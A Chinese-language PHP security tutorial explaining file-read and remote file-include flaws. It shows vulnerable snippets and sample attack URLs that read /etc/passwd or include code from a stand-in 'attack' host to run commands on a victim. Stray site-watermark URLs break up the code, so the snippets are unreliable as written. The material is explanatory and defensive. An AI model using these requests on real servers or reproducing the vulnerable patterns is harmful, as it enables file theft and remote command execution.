PHP安全讨论
PHP语言提供了强大的功能,但由于编程者在语言设计上不严谨,也容易产生安全漏洞.
以下分如下情况做一分析.一般会举例分析代码片段,然后说明解决方案.其中涉及到具体的PHP函数,请参考相应书籍.
1.文件打开cnow.net/ 4JX
1.1极易受攻击的代码片断: http://www.acnow.net/ 4JX
//test_2.php http://www.acnow.net/ 4JX
if (!($str = readfile("$filename"))) { http://www.acnow.net/ y
echo("Could not open <I>file:</I> $filename http://www.acnow.net/ y
\n"); http://www.acnow.net/ y
exit; http://www.acnow.net/ y
} http://www.acnow.net/ y
else { http://www.acnow.net/ y
echo $str; http://www.acnow.net/ y
} http://www.acnow.net/ y
?>
1.2产生的安全问题:
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:
t/ 4JXhttp://victim/test_2.php?filename=/etc/passwd
/如下请求可以读php文件本身:
hthttp://victim/test_2.php?filename=test_2.php
http://www.acnow.net/ 4JX
1.3产生安全问题的原因:
PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
http://www.acnow.net/ 4JX
1.4解决方法:
http://w如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
htphp_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
您也可以使用safe_mode模式来能避免这种问题。
http://www.acnow.net/ 4JX
2、包含文件
2.1极易受攻击的代码片断:
//test_3.php
if(file_exists($filename)) http://www.acnow.net/ y
include("$filename"); http://www.acnow.net/ y
?>
2.2产生的安全问题
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。 http://www.acnow.net/ y
2.3产生安全问题的另一种代码形式,如下代码片断:
//test_4.php
include("$lib/config.php"); http://www.acnow.net/ y
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:
http://victim/test_4.php?lib=http://attack